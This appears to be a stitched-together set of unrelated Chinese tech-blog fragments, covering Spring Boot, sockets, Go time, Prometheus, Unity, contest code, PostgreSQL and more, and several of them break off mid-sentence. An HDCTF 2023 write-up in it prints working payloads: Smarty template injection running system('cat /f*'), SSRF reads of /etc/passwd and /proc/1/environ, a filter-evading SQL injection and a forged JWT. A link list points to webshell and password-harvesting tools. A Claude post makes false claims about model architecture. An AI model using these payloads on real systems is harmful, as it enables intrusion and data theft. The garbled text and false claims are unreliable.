@Configuration是一个类级别的注释,表明一个对象是 bean 定义的来源。@Configuration类通过带@Bean注解的方法声明 bean 。@Bean对@Configuration类方法的调用也可用于定义 bean 间的依赖关系
@Configuration在spring的注解开发中占有很重要的地位,你当你想要定义一个配置类并交给spring管理的时候你就可以在相关类上面加这个注解,并配合@Bean注解把对象交个spring去管理。
所以@SpringBootConfiguration 注解本质上就是一个@Configuration注解,用来标注某个类为 JavaConfig 配置类,有了这个注解就可以在 SpringBoot 启动类中使用```@Bean``标签配置类了,如下图所示。
1.2 @ComponentScan 注解 @ComponentScan是Spring注解之一,用于在Spring应用程序上下文中启用组件扫描。组件扫描是自动检测和注册 Spring bean(组件)到应用程序上下文中的过程。
这个扫描的范围是:SpringBoot 主启动类的同级路径及子路径,扫描到特定的@Component、@Service、@Controler、@Repository、@Configuration等等注解后,会做相应的bean注册和配置文件bean注册工作。
@EnableAutoConfiguration 注解 点进这个注解可以发现 @Import(AutoConfigurationImportSelector.class),如下图所示。
@Import是Spring注解之一,用于在配置类中导入其他配置类或者普通的Java类。
通过@Impor注解,我们可以将其他配置类或者普通的Java类导入到当前配置类中,从而实现对这些类的引用和使用。可以用于将多个配置类组合在一起,或者引入第三方库中的配置类。
说白了在这里@Import注解的作用就是将 AutoConfigurationImportSelector 这个类导入当前类,这个类就是实现自动装配的核心。
进入 AutoConfigurationImportSelector 类,找到 selectImports() 方法,见名知意,不难想到这个方法就是选择要加载什么。
可以发现这个方法的参数是 AnnotationMetadata ,AnnotationMetadata 是 Spring 框架中的一个接口,用于表示一个类或者方法的注解信息。通过 AnnotationMetadata接口,我们可以获取类或方法上的注解信息,并根据注解信息进行相应的操作,如动态创建bean、实现AOP等等。
不难想到这个方法就是根据注解信息加载一些东西,至于加载什么,我们可以看到这个方法的返回值类型是字符串数组,这个字符串数组里面到底要放哪些内容?答案是加载某些配置文件中的全包名列表,这些配置信息包含了Spring Boot自动装配需要的各种配置类,当Spring Boot应用启动时,会根据这些配置信息自动装配相应的组件和配置。至于要加载的这些信息在哪里,我会带大家一点一点的找到。
分析到此处,我们不难想到,要想得到需要的配置信息,必然会有一个方法的参数是注解信息,返回的就是我们需要的配置信息,结合方法源码,果然可以找到这个方法——getAutoConfigurationEntry()。
我们发现 autoConfigurationEntry 中保存着我们需要的配置信息,它是通过 getAutoConfigurationEntry 方法获取的,于是我们继续深入,进入 getAutoConfigurationEntry 方法。
这个方法有很多代码,而且看着长得都差不多,很容易让然眼花缭乱,反正我是这么觉得的,那我们该如何分析呢?既然内容太多,不如先看看结果,看看他想要什么东西。通过方法返回值可以知道我们需要返回一个 AutoConfigurationEntry 对象,再看看最后的 return ,果然是一个新创建的 AutoConfigurationEntry 对象,我们再看看构造这个对象需要的参数:
一.select功能的引出 1. 文件描述符lfd和cfd 1.1 lfd是服务器端调用socket()函数创建的
sock = socket(PF_INET, SOCK_STREAM, 0); 上面的sock会传入listen函数的第一个参数,使得sock成为了监听套接字lfd——所以也相当于是listen的作用使得服务器套接字成为了监听套接字,之前没有指定具体功能。
int listen(int sock, int backlog);//成功时返回0,失败返回-1 第一个参数就是lfd,即监听套接字;backlog 是连接等待队列请求的长度,若为5,则表示最多5个连接请求进入队列——p65-66
即有5个客户端等着连接,服务器会按顺序一个一个处理连接
1.2 客户端请求连接的函数是connect()
int connect(int sock, struct sockaddr* servaddr, socklen_t addrlen);//成功时返回0,失败返回-1 //sock,是客户端程序socket()函数创建的套接字,传入这里 //servaddr是保存目标服务器端地址信息的结构体变量的地址serv_addr //addrlen是sizeof(servaddr),即指针变量长度 这里创建的并不是cfd,因为cfd和lfd是针对服务器说的。客户端那边就一种文件描述符,服务器端有两种,所以加以区分
1.3 服务器接收客户端的请求,需要调用accept()
这个accept()返回cfd,即负责与客户端进行I/O的套接字文件描述符
int accept(int sock, struct sockaddr* addr, socklen_t* addrlen);//成功时返回cfd,失败返回-1 //第一个参数传入lfd //第二个参数指向保存了发起连接请求的客户端地址信息 第一个参数要把lfd传进去
总的来说,lfd就是服务器端用于监听有没有客户端连接的套接字,或者说监听有没有来自客户端的connect();
而cfd就是负责连接客户端,看看有没有来自客户端的read() / write()这种I/O请求
只有先lfd监听到客户端的连接请求,然后答应连接accept(),才会创建出cfd
要补充一下文件描述符表:
文件描述符的前三个:0, 1, 2分别被定死为 标准输入、标准输出、标准错误,所以其它文件描述符都是从3开始编号的,每个进程会有一个1024长的文件描述符表
一个进程能够同时打开多个文件,对应需要多个文件描述符,所以需要用一个文件描述符表对文件描述符进行管理;通常默认大小为1024,也即能容纳1024个文件描述符;
2023.04.23补充下accept()创建的子套接字和前面监听套接字的区分: int cfd = accept(int lfd, struct sockaddr* clnt_addr, socklen_t* addrlen);
在go语言的标准库里,可以通过time来处理日期和时间。我们需要引用标准库
import "time" 1. 获取当前时间 now := time.Now() fmt.Println(now) // 当前时间戳,1970年1月1日到现在的秒数 fmt.Println(" 秒", now.Unix()) fmt.Println("豪秒", now.UnixMilli()) fmt.Println("微秒", now.UnixMicro()) fmt.Println("纳秒", now.UnixNano()) 输出
2023-04-13 13:10:17.8577739 +0800 CST m=+0.004403301 秒 1681362617 豪秒 1681362617857 微秒 1681362617857773 纳秒 1681362617857773900 time.Now 返回的结构是 time.Time
type Time struct { wall uint64 ext int64 loc *Location } 按go的约定,这个结构里的数据都是私有变量,对于我们使用来说没有价值。
2. 日期时间格式化 特别注意:go的格式化字符串不是常见的 yy-MM-dd HH:mm:ss,而是2006-01-02 15:04:05 Go的成立日期。
fmt.Println(now.Format("2006-01-02 15:04:05")) fmt.Println(now.Format("06-1-2 3:4:5")) 输出
2023-04-13 14:21:21 23-4-13 2:21:21 格式化字符说明:
字符说明1月份01月份,保证两位数字,1月会输出012日期02日期,保证两位数字,2日会输出023小时,12小时制03小时,保证两位数字,3时会输出0315小时,24小时制,保证两位数字,3时会输出034分钟04分钟,保证两位数字,4分会输出045秒05秒,保证两位数字,5秒会输出0506年,输出最后两位2006年,输出4位.000毫秒 可以快速记忆: 1月2日3时4分5秒6年
前言: 中国有句古话叫做“工欲善其事,必先利其器”,可见我们对工具的利用是从祖辈就传下来的,而且也告诉我们在开始做事之前先要把工具准备好。有了好的工具那么我们做起事来也会事半功倍。学习网络安全也是一样的,对于初学者来说往往选择一款好的工具是很头大的事情。下面小编就给大家点评几款常用的网络安全工具,究竟那款适合你,由你自己决定。
目录
前言:
漏洞及渗透练习平台
数据库注入练习平台
花式扫描器
本地网络扫描器
子域名扫描器
漏洞路由扫描器
迷你批量信息泄漏扫描脚本
Waf类型检测工具
信息搜集工具
WEB工具
windows域渗透工具
Fuzz
漏洞利用及攻击框架
漏洞POC&EXP
中间人攻击及钓鱼
密码破解
二进制及代码分析工具
EXP编写框架及工具
隐写相关工具
各类安全资料
各类CTF资源
各类编程资源
Python
老司机福利
其他
福利:
漏洞及渗透练习平台 WebGoat漏洞练习环境
https://github.com/WebGoat/WebGoat
https://github.com/WebGoat/WebGoat-Legacy
Damn Vulnerable Web Application(漏洞练习平台)
https://github.com/RandomStorm/DVWA
数据库注入练习平台 https://github.com/Audi-1/sqli-labs
用node编写的漏洞练习平台,like OWASP Node Goat
https://github.com/cr0hn/vulnerable-node
花式扫描器 端口扫描器Nmap
https://github.com/nmap/nmap
本地网络扫描器 https://github.com/SkyLined/LocalNetworkScanner
子域名扫描器 https://github.com/lijiejie/subDomainsBrute
漏洞路由扫描器 https://github.com/jh00nbr/Routerhunter-2.0
迷你批量信息泄漏扫描脚本 https://github.com/lijiejie/BBScan
Waf类型检测工具 https://github.com/EnableSecurity/wafw00f
信息搜集工具 社工插件,可查找以email、phone、username的注册的所有网站账号信息
https://github.com/n0tr00t/Sreg
Github信息搜集,可实时扫描查询git最新上传有关邮箱账号密码信息
https://github.com/sea-god/gitscan
github Repo信息搜集工具
https://github.com/metac0rtex/GitHarvester
WEB工具 webshell大合集
🍅 作者简介:敖广,CSDN2020博客之星亚军🏆、博客专家💪、个人成长专家✌
🍅 多年工作总结:Java学习路线总结,逆袭Java架构师
🍅 技术交流:定期更新Java硬核干货,不定期送书活动、助你实现技术飞跃
🍅 关注公众号【程序技术圈】,回复 面试题 ,获取《108道Java经典面试题总结(附答案)》pdf,复习方便,面试利器!
已成功与服务器建立连接,但是在登录过程中发生错取。(provider:共享内存提供程序,error:0-管道的另一端上无任何进程。)(Microsoft SQL Server,错误:233) 打开sqlserver配置管理工具
在开始搜索栏中输入SQLServerManager10.msc(这是SqlServer2008的配置工具,如果是SqlServer2012输入SQLServerManager11.msc)
打开后选择SQL Server网络配置-SQLEXPRESS的协议,可以看到Named Pipes协议和TCP/IP协议已被禁用,将其中的Named Pipes协议和TCP/IP协议启用
重新启动电脑,登录
🍅 作者简介:敖广,CSDN2020博客之星亚军🏆、博客专家💪、个人成长专家✌
🍅 多年工作总结:Java学习路线总结,逆袭Java架构师
🍅 技术交流:定期更新Java硬核干货,不定期送书活动、助你实现技术飞跃
🍅 关注公众号【程序技术圈】,回复 面试题 ,获取《108道Java经典面试题总结(附答案)》pdf,复习方便,面试利器!
Prometheus 对接方式 Prometheus支持多种方式将数据对接到其他的Prometheus实例,以下是其中几种常用的方式:
使用federation:Prometheus支持使用federation方式将多个Prometheus实例的数据进行聚合。在Prometheus配置文件中,可以添加多个远程Prometheus实例的地址,并且定义自己感兴趣的指标。Prometheus会定期从这些远程实例拉取数据,并将其聚合到本地实例中。
使用remote_write:Prometheus支持使用remote_write方式将数据推送到远程Prometheus实例。在Prometheus配置文件中,可以配置remote_write的地址和一些其他参数,Prometheus会将本地采集的数据推送到这个地址。
使用pushgateway:如果需要将非Prometheus采集的数据推送到Prometheus,可以使用pushgateway。Pushgateway是一个中间代理,可以接收来自任何客户端的指标数据,并将其暂存到内存中。然后,Prometheus可以从Pushgateway中拉取这些数据。
使用第三方工具:除了Prometheus自带的对接方式外,还有很多第三方工具可以将数据对接到Prometheus。比如,Prometheus Operator可以自动发现Kubernetes集群中的服务,并将其对接到Prometheus。
Federation Federation是Prometheus的一种机制,允许从其他Prometheus服务器中收集和汇总指标数据。Federation的操作步骤如下:
配置源Prometheus服务器,使其公开指标数据。在prometheus.yml文件中,添加以下内容:
scrape_configs: - job_name: 'myjob' scrape_interval: 5s static_configs: - targets: ['localhost:9090'] 其中,myjob是一个自定义的作业名称,localhost:9090是要公开指标数据的Prometheus服务器的地址和端口。
配置目标Prometheus服务器,以从源Prometheus服务器中获取指标数据。在prometheus.yml文件中,添加以下内容:
scrape_configs: - job_name: 'federate' scrape_interval: 15s honor_labels: true metrics_path: '/federate' params: 'match[]': - '{job="myjob"}' static_configs: - targets: ['source-prometheus-server:9090'] 其中,federate是一个自定义的作业名称,source-prometheus-server:9090是要从中获取指标数据的源Prometheus服务器的地址和端口。
重新启动目标Prometheus服务器,以使更改生效。
在目标Prometheus服务器的Web界面中,导航到/federate页面,以查看从源Prometheus服务器中获取的指标数据。
http://target-prometheus-server:9090/federate?match[]={job="myjob"} 其中,target-prometheus-server:9090是目标Prometheus服务器的地址和端口,myjob是要获取的作业名称。
通过以上步骤,您就可以使用Federation机制从其他Prometheus服务器中收集和汇总指标数据。
remote_write 要使用remote_write将数据推送到远程Prometheus实例,需要进行以下步骤:
在远程Prometheus实例上打开remote_write功能,并配置好接收数据的地址和其他参数。可以在远程Prometheus实例的配置文件中添加如下配置:
remote_write: - url: "http://remote-prometheus:9090/write" 其中,url参数是接收数据的地址。可以添加多个url参数,以便将数据同时推送到多个远程实例。
在本地Prometheus实例上配置remote_write,以便将本地采集的数据推送到远程实例。可以在本地Prometheus实例的配置文件中添加如下配置:
remote_write: - url: "http://remote-prometheus:9090/write" 其中,url参数是远程实例的地址。可以添加多个url参数,以便将数据同时推送到多个远程实例。
重新加载本地Prometheus实例的配置文件,以使配置生效。
curl -X POST http://localhost:9090/-/reload 等待一段时间,让本地Prometheus实例将采集的数据推送到远程实例。
可以使用远程Prometheus实例的查询语句来检查是否已经成功接收到数据:
up{job="remote_job"} 其中,remote_job是在本地Prometheus实例上定义的采集任务名称。如果远程Prometheus实例成功接收到数据,将会返回一个1的值。
注意:以下示例皆是在dark-linux样式下修改的,选择了其他的基础样式则找对应的样式文件
1、除了代码编辑窗口的其他窗口样式在这个文件里
1.1 在文件末尾添加如下代码
ExpandableComposite { background-image: url(./7.png); background-repeat: no-repeat; background-size:100% 100%; } Composite { background-image: url(./bg4.jpg); background-repeat: no-repeat; background-size:100% 100%; } Tree { background-image: url(./7.png); background-repeat: no-repeat; background-size:100% 100%; } 2、代码编辑窗口的样式在如下图,该文件夹下的.css结尾的文件里,如果不清楚对应的是那个文件,可以每个文件都加上
2.1 添加如下的.MPart StyledText样式
3、图片存放位置
4、最好用ps工具将图片亮度调低一些,或是调一下图片的透明度,比如这样的
5、注:
5.1 可能有不同版本包,例如:
就需要查下面文件,看使用的版本
FreedomGPT
GitHub - ohmplatform/FreedomGPT: This codebase is for a React and Electron-based app that executes the FreedomGPT LLM locally (offline and private) on Mac and Windows using a chat-based interface (based on Alpaca Lora)This codebase is for a React and Electron-based app that executes the FreedomGPT LLM locally (offline and private) on Mac and Windows using a chat-based interface (based on Alpaca Lora) - GitHub - ohmplatform/FreedomGPT: This codebase is for a React and Electron-based app that executes the FreedomGPT LLM locally (offline and private) on Mac and Windows using a chat-based interface (based on Alpaca Lora)https://github.
介绍
这里是小编成长之路的历程,也是小编的学习之路。希望和各位大佬们一起成长!
以下为小编最喜欢的两句话:
要有最朴素的生活和最遥远的梦想,即使明天天寒地冻,山高水远,路远马亡。
一个人为什么要努力? 我见过最好的答案就是:因为我喜欢的东西都很贵,我想去的地方都很远,我爱的人超完美。因此,小编想说:共勉!
目录
解决方法:
方法一:
方法二:
方法三:
首先图标不显示,就是如下情况
解决方法: 方法一: 因为刚下载好,直接关机重启即可
如果方法一不行的话,可以试试方法二。
方法二: 右击空白界面,进入设置
注意:这种方法可能只有win10的管用,小编是win11的使用这种方法不管用
更改之后,需要重启才会生效。
如果方法二不行的话,可以使用方法三。
方法三: win+R regedit进入注册表
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ 重命名一下Tortoise系列名字(以空值排序,所以在名字前面多加上几个空格就OK)
原理
Windows Explorer Shell 支持 Overlay Icon 最多15个,Windows 自身已经使用了4个,所以就只剩下了11个 供我们使用。
如果你之前安装了例如OneDrive,百度云盘这样的软件,那我们可利用的就更少了,轮不到Tortoise了。
像这样的情况,我们可以调整 图标名称的字母顺序,来提高优先位置,但是同样的,其他的软件的优先级低,那么图标可能就不会显示
注意:每使用过一个方法记得重启电脑(可以叫做重启windows操作系统)
最后出现图标(注意:没有提交到服务端也不会出现图标)
以上就是小编所实践的内容,希望能够帮助到大家,感谢各位大佬的观看!!!
项目场景: Spring boot websocket 所遇到的一些问题记录 问题描述以及解决方法 一.Springboot websocket jar包版本有些区别,在配置config中允许跨域问题,旧版本只能用.setAllowedOrigins(““),新jar包有.setAllowedOrigins(””)和.setAllowedOriginPatterns(““)两个,一般用.setAllowedOriginPatterns(””),setAllowedOrigins(“*”)加.withSockJS()这个可能会导致
java.lang.IllegalArgumentException: When allowCredentials is true, allowedOrigins cannot contain the special value “*” since that cannot be set on the “Access-Control-Allow-Origin” response header. To allow credentials to a set of origins, list them explicitly or consider using “allowedOriginPatterns” instead.
Springboot websocket jar包版本与spring-boot-starter-parent版本有关,我用的是2.7.10这个版本
二,websocket 项目本地测试链接没问题,但部署远程链接不上,原因是没有配内网穿透
location {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection “upgrade”;
—}
前言 前几天把导师的项目打包发布交了一稿,这半个星期除了再把项目缝缝补补外(说实话项目做到后边实在有些无聊,都是些琐碎的东西而且自己也学不到什么,纯粹是浪费消磨时间)无聊逛Unity商店发现了个有意思的东西,说实话一开始我以为只是单纯绘制的2D动画:
但再一看才发现其实这是三维模型渲染出来的画面,右边是模型:
其实场景中的卡通渲染模型倒是比较普通,但这个最终渲染效果对我而言却可以说是相当惊艳了,于是第一反应就是看看怎么实现的然后做到我未来的项目里(当然以我的水平和学习方向,细节大概是看不懂的,但可以看一下大体的思路,如果以后有机会可以学习学习相关内容)。先翻了一下Frame Debugger,看得半懂不懂。然后翻了翻就发现了这个东西Visual Compositor,也是跟文章主题相关的内容:一个流程配置节点图。
然后发现其实基本就是各种图像混合后处理效果叠加,包括描边、边缘光、图像的颜色过渡、补光、模糊混合等,真要说的话其实并没有什么复杂的(专业搞美术的做出来的东西第一印象就很好,羡慕 ),但并不完全适合自由视角的卡通渲染。不过这个节点图确实是我很久以前就想做的一个编辑器扩展内容,方便项目里面对话文件的配置(原来用的多个ScriptableObject连接成一串对话,用起来没那么方便)。简单搜了一下发现这个节点图Unity提供的有现成的类方便扩展,关键词:GraphView,于是参考了网上的博客和Unity商店的插件,在自己的项目中实现了一个简单的对话配置系统。
效果展示 实现起来主要包括四个部分:整个节点图(基类GraphView)、单独的一个节点(基类Node)、显示图的窗口(基类EditorWindow)、用于存储每个对话数据的文件(基类ScriptableObject)。(当然还需要一个用于读取对话数据并显示的对话系统,但这是另外的部分)
最终实现的效果如下:
根据实际项目需求,节点内可以放入各种配置数据。在本项目里,每个节点都对应了某个人(不是人也行)说的多句话,并且可以点击按钮新增、删除对话内容等;右键点击可以呼出菜单,在鼠标位置新建节点;右键点击节点,除开始节点外,每个节点都可以添加或删除此段对话结束后可能出现的选项(Output);通过点击左上角或者Ctrl+S可以手动保存配置数据至ScriptableObject。
实现细节 网上搜GraphView会有不少教程和完整代码,Unity商店的插件也是很好的学习资料,所以这里只简单讲一下项目里部分功能的实现方式。
1. 右键点击呼出菜单栏的功能有两种实现方式,一种是使用GraphView.RegisterCallback<MouseDownEvent>()自己建立一个菜单(因为整个窗口是被GraphView填满的,项目里Ctrl+S保存用的同样的方式实现),另一种是重写Node中的BuildContextualMenu向菜单中加入选项,项目中实际使用了第二种,将创建节点、接口等放在了其中。
graphView.RegisterCallback<MouseDownEvent>(MouseDown); private void MouseDown(MouseDownEvent _event) { if (_event.button == 1) { Vector2 _mousePos = _event.mousePosition; GenericMenu _menu = new GenericMenu(); _menu.AddItem(new GUIContent("Create/New Node"), false, () => { /* do something */ }); _menu.ShowAsContext(); } } // in Node class public override void BuildContextualMenu(ContextualMenuPopulateEvent _event) { base.BuildContextualMenu(_event); _event.menu.AppendAction("Port/Add Port", (_a) => { /* do something */ }); } 2.
package 我的Java; import javax.swing.*; import java.awt.*; public class A { public static void main(String args[]) { JFrame j=new JFrame("第一窗口");//创建窗口 j.setSize(400,200); JButton jbn1=new JButton("按钮1");//创建按钮 JButton jbn2=new JButton("按钮2"); JButton jbn3=new JButton("按钮3"); JButton jbn4=new JButton("按钮4"); JButton jbn5=new JButton("按钮5"); j.add(jbn1,BorderLayout.NORTH);//将按钮放进去 j.add(jbn2,BorderLayout.WEST); j.add(jbn3,BorderLayout.CENTER ); j.add(jbn4,BorderLayout.EAST); j.add(jbn5,BorderLayout.SOUTH); j.setVisible(true); } }
4.23 update: 省一咯
Powered by:NEFU AB-IN
文章目录 Python大学A组 个人暴力题解试题 A: 特殊日期题意思路代码 试题 B: 分糖果题意思路代码 试题 C: 三国游戏题意思路代码 试题 D: 平均题意思路代码 试题 E: 翻转题意思路代码 试题 F: 子矩阵题意思路代码 试题 G: 阶乘的和题意思路代码 试题 H: 奇怪的数题意思路代码 试题 I: 子树的大小题意思路代码 试题 J: 反异或 01 串题意思路代码 博主个人的暴力题解,基本很少是正解,求轻喷
Python大学A组 个人暴力题解 试题 A: 特殊日期 题意 思路 模拟即可,本身想用Python自带的datetime库,结果发现年不能开那么大,就直接手写了
代码 ''' Author: NEFU AB-IN Date: 2023-04-08 14:15:52 FilePath: \Vscode\ACM\LanQiao\2023PythonA\a.py LastEditTime: 2023-04-08 14:19:47 ''' # AB-IN AK Lanqiao !! # http://222.
Welcome To HDCTF 2023 看源码找到game.js
找到这一串
放到控制台运行即可
SearchMaster 题目让post提交一个data
随便传一个在页面执行了
当传入{时他会报错,看报错信息发现
Smarty,猜测Smarty的ssti,数据发送到前端
用{if}标签即可
{if phpinfo()}{/if} 可以执行phpinfo()
直接命令执行即可
data={if system('cat /f*')}{/if} YamiYami 三个链接,点read somethings之后看url
应该是ssrf尝试一下文件读取
?url=file:///etc/passwd 可以读,但不能读flag,尝试读环境变量
?url=file:///proc/1/environ 可以看到flag在环境变量中
LoginMaster 用dirsearch扫目录扫出
/robots.txt
function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); 可以参考这个
1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))# JavaMonster jwt
将admin改成Boogipop解出jwt传入cookie:a=1;b=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2ODIxNzcxMTgsImlhdCI6MTY4MjE2OTkxOCwidXNlcm5hbWUiOiJCb29naXBvcCJ9.1dfoUuPRgwflPRL8beAumUMOCVFIRCV4yAjXd18Syko
public static void main(String[] args) throws UnsupportedEncodingException { com.ctf.easyjava.utils.JwtUtil jwtUtil = new com.ctf.easyjava.utils.JwtUtil(); User user = new User("
比ChatGPT更好用的Claude来了,不需要魔法上网!!!
claude官网
点击 add to slack
slack跟discord有点类似,先要去slack注册账号
登录之后就添加创建一个工作区
添加
不过现在已经停止添加了,会出现App unavailable的问题
可以留下邮箱(必须是谷歌邮箱)我邀请
我(claude)和chatgpt的区别
训练数据不同:我是由Anthropic公司训练的,训练数据是经过筛选和处理的互联网语料库。而ChatGPT是由OpenAI基于网络爬虫采集的 massive dataset 训练的。模型不同:我是BERT-based模型, utilizing a multi-layer bidirectional Transformer。ChatGPT是GPT模型,是单向的Transformer。训练目标不同:我是为了能与人进行彬彬有礼,真诚而富有同情心的对话而训练的。ChatGPT的训练目标更广泛,是预测文本序列,主要用于一般对话。个性不同:我的个性更加友善,会主动表达同情和理解。而ChatGPT的回答更加中立和客观。这与我们的训练数据和方法有关。能力范围不同:我只能进行日常对话,提供信息查找和简单推理。ChatGPT有更强大的生成语言的能力,可以创作故事,诗歌等。部署环境不同:我是作为一款SaaS产品提供服务,部署在Anthropic的服务器上。ChatGPT模型和代码是开源的,可以自行部署。所以,总体来说,虽然我和ChatGPT都是 Transformer-based的对话机器人,但由于训练数据,训练目标,模型结构等方面的不同,我们的个性、能力和适用环境也有较大差异。但我们也有一定的相似之处,都致力于通过机器学习的方式来满足人类的对话需求。
AC了 总的来说,比上次友善多了,这才是我熟悉的暴力杯。
就做了3个满的,7道全骗(年轻人,来骗,来,偷袭!
1 幸运数 话不多说,马上开爆 机房电脑跑了几十秒才出答案
就问你出没出答案吧
#include<iostream> #include<cmath> #include<cstdio> #include<cstring> #include<algorithm> #include<vector> using namespace std; typedef long long ll; bool check(int x) { vector<int> vec; while(x) { vec.push_back(x%10); x/=10; } int sz=vec.size(); if(sz%2!=0)return false; int a=0,b=0; for(int i=0;i<sz/2;i++)a+=vec[i]; for(int i=sz/2;i<sz;i++)b+=vec[i]; return a==b; } //4430091 int main() { int ans=0; cout<<"test:"<<check(22)<<" "<<check(22)<<'\n'; for(int i=1;i<=100000000;i++) { if(check(i))ans++; } cout<<ans; return 0; } 2 胜利的方案数。现在想想好像做错了 ,, 寄,因为必须保证开始连续7次胜利的前一场输掉,应该是枚举到23-1=22 #include<iostream> #include<cmath> #include<cstdio> #include<cstring> #include<algorithm> using namespace std; typedef long long ll; ll C(ll n,ll m) { ll res=1; //for(ll i=n;i>=n-m+1;i--)res*=i; for(ll i=n;i>=n-m+1;i--)res*=i; for(ll i=1;i<=m;i++)res/=i; return res; } ll ksm(ll x,ll a) { ll res=1; while(a) { if(a&1)res*=x; x*=x; a>>=1; } return res; } //4540385 int main() { ll res=0; // cout<<C(0,0)<<"
1、我是小蜜蜂搬运每一天。公钥加密、私钥解密、私钥签名、公钥验签。加密是为了保证数据的私密性,签名是为了保证数据的完整性。下面是签名验签过程。
sha256.h
#ifndef __SHA256_H__ #define __SHA256_H__ #include <openssl/rsa.h> //生成公钥和私钥 void GenerateKeyExx(); //从文件中读取私钥 RSA* GetPrivateKeyExx(const char* szPath); //从文件中读取公钥 RSA* GetPublicKeyExx(const char* szPath); //签名 bool RSASign( RSA* rsa, const unsigned char* Msg, size_t MsgLen, unsigned char** EncMsg, size_t* MsgLenEnc); //验签 bool RSAVerifySignature( RSA* rsa, unsigned char* MsgHash, size_t MsgHashLen, const char* Msg, size_t MsgLen, bool* Authentic); //base64编码 void Base64Encode( const unsigned char* buffer, size_t length, char** base64Text); //base64解码 void Base64Decode(const char* b64message, unsigned char** buffer, size_t* length); //计算base64解码后数据长度 size_t calcDecodeLength(const char* b64input); char* signMessage(std::string privateKey, std::string plainText); bool verifySignature(std::string publicKey, std::string plainText, char* signatureBase64); int test(); #endif sha256.
什么是postgreSQL PostgreSQL是一个功能强大的开源对象关系型数据库系统,他使用和扩展了SQL语言,并结合了许多安全存储和扩展最复杂数据工作负载的功能。PostgreSQL的起源可以追溯到1986年,作为加州大学伯克利分校POSTGRES项目的一部分,并且在核心平台上进行了30多年的积极开发。
PostgresSQL凭借其经过验证的架构,可靠性,数据完整性,强大的功能集,可扩展性以及软件背后的开源社区的奉献精神赢得了良好的声誉,以始终如一地提供高性能和创新的解决方案。PostgreSQL在所有主要操作系统开始使用PostgreSQL从未如此简单。
为什么要使用PostgreSQL PostgreSql提供了许多功能,旨在帮助开发人员构建应用程序,管理员保护数据完整性并且构建容错环境,并帮助你管理数据,无论数据集的大小。除了免费和开源之外,Postgre SQL还具有高度的可扩展性。例如,你可以定义自己的数据类型,构建自定义SQL函数(此sql函数在另一篇帖子讨论:点此跳转),甚至可以编写来自不同编程语言的代码,而不需要重新编译数据库。
PostgreSql试图符合SQL标准,在这种标准中,这种一致性不会与传统特性相矛盾,或者可能导致糟糕的架构决策。支持SQL标准所需的许多功能,但是有时候语法或者功能略有不同。随着时间的推移,可以预期进一步向一致性迈进。从2018年10月发布的11版本开始,PostgreSQL符合SQL:2011核心一致性的179个强制性功能中的至少160个,在此之前,没有任何关系型数据库符合此标准的完全符合。
PostgreSQL vs MySQL:有什么区别? PostgreSQL 和 MySQL 之间有很多不同之处。特性、功能和优势方面的一些差异如下:
数据库类型 MySQL:关系型PostgreSQL:对象关系编程语言 MySQL: C/C++PostgreSQL: C支持级联 MySQL:没有PostgreSQL:是的用户界面 MySQL:工作台 GUIPostgreSQL: PgAdmin支持的过程复杂度 MySQL: SQL 语法和存储过程PostgreSQL:高级过程和存储过程支持的索引类型 MySQL:二叉搜索树(B-Tree)PostgreSQL:很多,包括 GIN 和 Hash客户端和服务器之间的加密 MySQL:传输层安全 (TLS) 协议PostgreSQL: SSLXML 数据类型支持 MySQL:没有PostgreSQL:是的支持物化视图和表继承 MySQL:没有PostgreSQL:是的支持高级数据类型 MySQL:没有PostgreSQL:是的——hstore 和用户定义的 tdtaa支持多版本并发控制 (MVCC) MySQL:没有PostgreSQL:是的 总之,PostgreSQL 和 MySQL 都有不同的用途,它们之间的选择取决于企业目标和资源。一般来说,PostgreSQL 是一个更强大、更高级的数据库管理系统,非常适合需要在大型环境中快速执行复杂查询的组织。但是,对于预算和空间更受限制的公司来说,MySQL 是一个理想的解决方案。
部署: 下载地址:sql
安装依赖 #安装依赖 [root@bogon ~]# yum install -y perl-ExtUtils-Embed readline-devel zlib-devel pam-devel libxml2-devel libxslt-devel openldap-devel python-devel gcc-c++ openssl-devel cmake 解压安装包并安装 [root@bogon ~]# tar -zxvf postgresql-15.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>瀑布流</title> <style> body { padding: 0 100px; } .ct { position: relative; } .item { box-sizing: border-box; position: absolute; width: 200px; background: #ccc; height: 100px; margin: 5px; padding: 5px; font-size: 1.5rem; color: #fff; transition: all 1s; } .h1 { height: 100px; background: #8A2BE2; } .h2 { height: 120px; background: #A52A2A; } .h3 { height: 140px; background: #5F9EA0; } .
电脑没有wifi开关的按钮了怎么回事 因为一直用的有线办公,突然有一天电脑拿到其他地方通过无线使用时,发现电脑没有办法连接无线
于是通过一系列的步骤
先检查wifi网络适配器是否正常
wifi的驱动是不是最新的
下载了360驱动大师进行驱动扫描和更新
系统更新补丁的回退 系统的更新
。。。 依旧无用
微信联系了 联想客服 发了个wifi网卡的补丁更新了下 没用 就让我联系预约线下门店维修
提了维修单之后 电话联系我问了一下现象就说是大概率系统问题 要重装尝试
emmmm
最后自己解决了
服务里边找到这个服务,查看是否关闭,手动开启
修改完成后顺道检查下服务里边这两个是不是正在运行状态
ArcGIS是美国能源环境研究所ESRI(Environmental Systems Research Institute)开发的GIS软件。
1 ArcGIS软件发展历史 (1)ARC/INFO Workstation
1981年,ARC/INFO第一代商业产品发布;
1986年,PC版ARC/INFO问世;
1991年,ARC/INFO第六版经汉化后进入中国市场;
1997年,ARC/INFO 8发布;
2010年,ARC/INFO推出10.0版本后停止更新,ARC/INFO退出历史舞台。
Arc/Info是一个全功能的GIS产品。它包括ArcView和ArcEditor的所有功能,并增加了高级的地理处理能力和数据转换能力,这些使得ArcInfo成为GIS标准。
